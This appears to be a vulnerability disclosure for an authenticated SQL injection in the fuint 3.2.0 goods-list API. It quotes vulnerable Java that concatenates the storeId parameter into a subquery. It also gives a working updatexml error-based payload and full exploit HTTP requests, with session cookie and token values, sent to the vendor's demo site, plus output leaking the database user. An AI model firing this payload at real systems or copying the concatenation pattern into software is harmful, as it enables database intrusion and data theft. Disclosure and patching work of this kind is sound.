

**The fuint system has a SQL injection vulnerability in the /fuint-application/backendApi/goods/goods/list interface.**

The fuint system has a SQL injection vulnerability in the /fuint-application/backendApi/goods/goods/list interface.

POC:

```
page=0&pageSize=1&name=hai&status=B&storeId=7+AND+updatexml('1',concat('~',
(select+user())),'1')
```

The interface can be accessed once the administrator has logged in.

Affected versions: **3.2.0**

Vulnerability location:

```

ClientGoodsController.java
BackendGoodsController.java 9+
fuintBackend > fuint-application > src > main > java > com > fuint > module > backendApi > controller > BackendGoodsController.java > BackendGoodsController > http(ServletR
43 public class BackendGoodsController extends BaseController {
44     @ApiOperation(value = "分页查询商品列表")
45     @RequestMapping(value = "/list", method = RequestMethod.GET)
46     @CrossOrigin
47     @PreAuthorize("@pms.hasPermission('goods:goods:index')")
48     public ResponseObject list(HttpServletRequest request) throws BusinessException {
49         String token = request.getHeader("Access-Token");
50         Integer page = request.getParameter("page") == null ? Constants.PAGE_NUMBER : Integer.parseInt(request.getParameter("page"));
51         Integer pageSize = request.getParameter("pageSize") == null ? Constants.PAGE_SIZE : Integer.parseInt(request.getParameter("pageSize"));
52         String name = request.getParameter("name");
53         String goodsNo = request.getParameter("goodsNo");
54         String isSingleSpec = request.getParameter("isSingleSpec");
55         String type = request.getParameter("type");
56         String status = request.getParameter("status");
57         String searchStoreId = request.getParameter("storeId");
58         String stock = request.getParameter("stock");
59         String cateId = request.getParameter("cateId");
60
61         AccountInfo accountInfo = TokenUtil.getAccountInfoByToken(token);
62         if (accountInfo == null) {
63             return getFailureResult(errorCode:1001, message:"请先登录");
64         }
65
66         TAccount account = accountService.getAccountInfoById(accountInfo.getId());
67         Integer storeId = account.getStoreId() == null ? 0 : account.getStoreId();
68         Integer merchantId = account.getMerchantId() == null ? 0 : account.getMerchantId();
69
70         PaginationRequest paginationRequest = new PaginationRequest();
71         paginationRequest.setCurrentPage(page);
72         paginationRequest.setPageSize(pageSize);
73
74         Map<String, Object> params = new HashMap<>();
75         if (StringUtil.isNotEmpty(searchStoreId)) {
76             params.put("storeId", searchStoreId);
77         }
78     }
79 }

```

```
J ClientGoodsController.java  J GoodsServiceImpl.java 9+ X
fuintBackend > fuint-application > src > main > java > com > fuint > common > service > impl > J GoodsServiceImpl.java > GoodsServiceImpl > queryGoodsListByPagination(PaginationRequest)
47 public class GoodsServiceImpl extends ServiceImpl<MtGoodsMapper, MtGoods> implements GoodsService {
84 public PaginationResponse<GoodsDto> queryGoodsListByPagination(PaginationRequest paginationRequest) throws BusinessException {
85     Page<MtGoods> pageHelper = PageHelper.startPage(paginationRequest.getCurrentPage(), paginationRequest.getPageSize());
86     LambdaQueryWrapper<MtGoods> lambdaQueryWrapper = Wrappers.lambdaQuery();
87     lambdaQueryWrapper.ne(MtGoods::getStatus, StatusEnum.DISABLE.getKey());
88
89     String name = paginationRequest.getSearchParams().get(key:"name") == null ? "" : paginationRequest.getSearchParams().get(key:"name").toString();
90     if (StringUtils.isNotBlank(name)) {
91         lambdaQueryWrapper.like(MtGoods::getName, name);
92     }
93     String status = paginationRequest.getSearchParams().get(key:"status") == null ? "" : paginationRequest.getSearchParams().get(key:"status").toString();
94     if (StringUtils.isNotBlank(status)) {
95         lambdaQueryWrapper.eq(MtGoods::getStatus, status);
96     }
97     String goodsNo = paginationRequest.getSearchParams().get(key:"goodsNo") == null ? "" : paginationRequest.getSearchParams().get(key:"goodsNo").toString();
98     if (StringUtils.isNotBlank(goodsNo)) {
99         lambdaQueryWrapper.eq(MtGoods::getGoodsNo, goodsNo);
100    }
101    String isSingleSpec = paginationRequest.getSearchParams().get(key:"isSingleSpec") == null ? "" : paginationRequest.getSearchParams().get(key:"isSingleSpec");
102    if (StringUtils.isNotBlank(isSingleSpec)) {
103        lambdaQueryWrapper.eq(MtGoods::getIsSingleSpec, isSingleSpec);
104    }
105    String merchantId = paginationRequest.getSearchParams().get(key:"merchantId") == null ? "" : paginationRequest.getSearchParams().get(key:"merchantId");
106    if (StringUtils.isNotBlank(merchantId)) {
107        lambdaQueryWrapper.eq(MtGoods::getMerchantId, merchantId);
108    }
109    String storeId = paginationRequest.getSearchParams().get(key:"storeId") == null ? "" : paginationRequest.getSearchParams().get(key:"storeId").toString();
110    if (StringUtils.isNotBlank(storeId)) {
111        lambdaQueryWrapper.eq(MtGoods::getStoreId, storeId)
112            .or(qw -> qw.eq(MtGoods::getStoreId, 0))
113            .inSql(MtGoods::getId, "SELECT s.goods_id FROM mt_store_goods s WHERE s.store_id = '"+ storeId +"' and s.status='A'");
114    }
115    String type = paginationRequest.getSearchParams().get(key:"type") == null ? "" : paginationRequest.getSearchParams().get(key:"type").toString();
```

## Vulnerability Exploitation Demonstration:

```
1 GET /fuint-application/backendApi/goods/goods/list?page=0&pageSize=1&name=hai&status=B&storeId=7+AND+updatexml('1',concat('~',(select user()))),'1') HTTP/1.1
2 Host: www.fuint.cn
3 Cookie: sid=548bb857-4db0-4079-9a58-676f7608a186; Access-Token=ngWCDVGxjuHSIixl0eM8HQ==
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
5 Accept: application/json, text/plain, */*
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate
8 Access-Token: ngWCDVGxjuHSIixl0eM8HQ==
9 Platform: PC
10 Dnt: 1
11 Sec-Gpc: 1
12 Referer: https://www.fuint.cn/fuintAdmin/
13 Sec-Fetch-Dest: empty
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Site: same-origin
16 Pragma: no-cache
17 Cache-Control: no-cache
18 Te: trailers
19 Connection: close
20
21
10 With, token,Content-Type,Accept,Access-Token,platform,latitude,longitude,storeId,merchantNo,isWechat
11
12
13
14
15
16
17
18
19
20
21
1Exception: XPATH syntax error: '~root@localhost'\n### The error may exist in com/fuint/repository/mapper/MtGoodsMapper.java. Cause: java.sql.SQLException: XPATH syntax error: '~root@localhost',
```

## Network packet:

- Request

```
GET /fuint-application/backendApi/goods/goods/list?
page=0&pageSize=1&name=hai&status=B&storeId=7+AND+updatexml('1',concat('~',
(select+user())),'1') HTTP/1.1
Host: www.fuint.cn
Cookie: sid=548bb857-4db0-4079-9a58-676f7608a186; Access-
Token=ngWCDVGxjuHSIixl0eM8HQ==
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64; rv:136.0) Gecko/20100101
Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Access-Token: ngWCDVGxjuHSIixl0eM8HQ==
Platform: PC
Dnt: 1
Sec-Gpc: 1
Referer: https://www.fuint.cn/fuintAdmin/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
```

Te: trailers

Connection: close